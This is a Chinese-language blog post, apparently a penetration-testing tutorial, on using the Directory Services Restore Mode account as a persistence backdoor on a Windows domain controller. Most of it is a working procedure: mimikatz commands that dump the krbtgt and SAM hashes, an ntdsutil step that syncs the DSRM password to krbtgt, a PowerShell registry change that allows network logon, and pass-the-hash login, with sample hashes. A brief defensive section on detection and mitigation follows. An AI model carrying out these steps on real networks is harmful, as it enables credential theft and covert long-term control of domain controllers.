• 域权限维持-DSRM


    一、DSRM域后门介绍

    目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。

    在渗透测试中,可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。

    每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

    二、DSRM域后门过程

    1、使用mimikatz查看krbtgt的NTLM hash

    在域控制器中打开mimikatz,分别输入如下命令

    privilege::debug
    lsadump::lsa /patch /name:krbtgt

     可以看到krbtgt的NTLM Hash为375892441bee1134ffee32deb81d4a70

    2、使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash

    在域控制器中打开mimikatz,分别输入如下命令

    token::elevate
    lsadump::sam

     本地管理员账号也就是DSRM账号的NTLM Hash为6ffa4e2d80be9ac28ff2e2b06980d677

    3、将DSRM账号和krbtgt的NTLM Hash同步(为DSRM设置新密码)

    NTDSUTIL:打开ntdsutil
    set DSRM password:修改DSRM的密码
    sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
    q(第1次):退出DSRM密码设置模式
    q(第2次):退出ntdsutil

     4、查看DSRM的NTLM Hash是否同步成功

    在域控制器中打开mimikatz,可以看到此时DSRM的hash就和krbtgt的NTLM Hash一样了,为375892441bee1134ffee32deb81d4a70

    5、修改DSRM的登录方式

    DSRM有三种登录方式,具体如下:

    • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
    • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
    • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

    在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改。

    New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

    6、使用DSRM账号通过网络远程登录域控制器

    在任意一台域成员主机上或者域控本机上,输入如下内容

    privilege::Debug
    sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:375892441bee1134ffee32deb81d4a70

     成功后会弹出一个弹框,从而达到权限维持的目的

    三、防御

    1、定期检查注册表中用于控制DSRM登录方式的键值 HKLMSystemCurrentControlSetControlLsaDsrmAdminLogonBehavior,确认该兼职为1,或者删除该键值

    2、定期修改域中所有域控制器的DSRM账号

    3、经常检查ID 为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中

    参考:《内网安全攻防-渗透测试实战指南》

  • 相关阅读:
    springboot之静态资源路径配置
    window使用结束进程
    MyBatis动态sql语句归纳
    Mybatis——实体类属性名和数据库字段名不同时的解决方案
    oracle 查看被锁表 及解除锁定
    Eclipse设置软tab(用4个空格字符代替)及默认utf-8文件编码(unix)
    navicat和 plsql 连接oracle数据库 总结
    eclipse 快捷键Open Implementation 直接退出
    linux centos 安装mysql
    拦截器 过滤器 监听器 的区别
  • 原文地址:https://www.cnblogs.com/xiaoxiaosen/p/13535232.html
Copyright © 2020-2023  润新知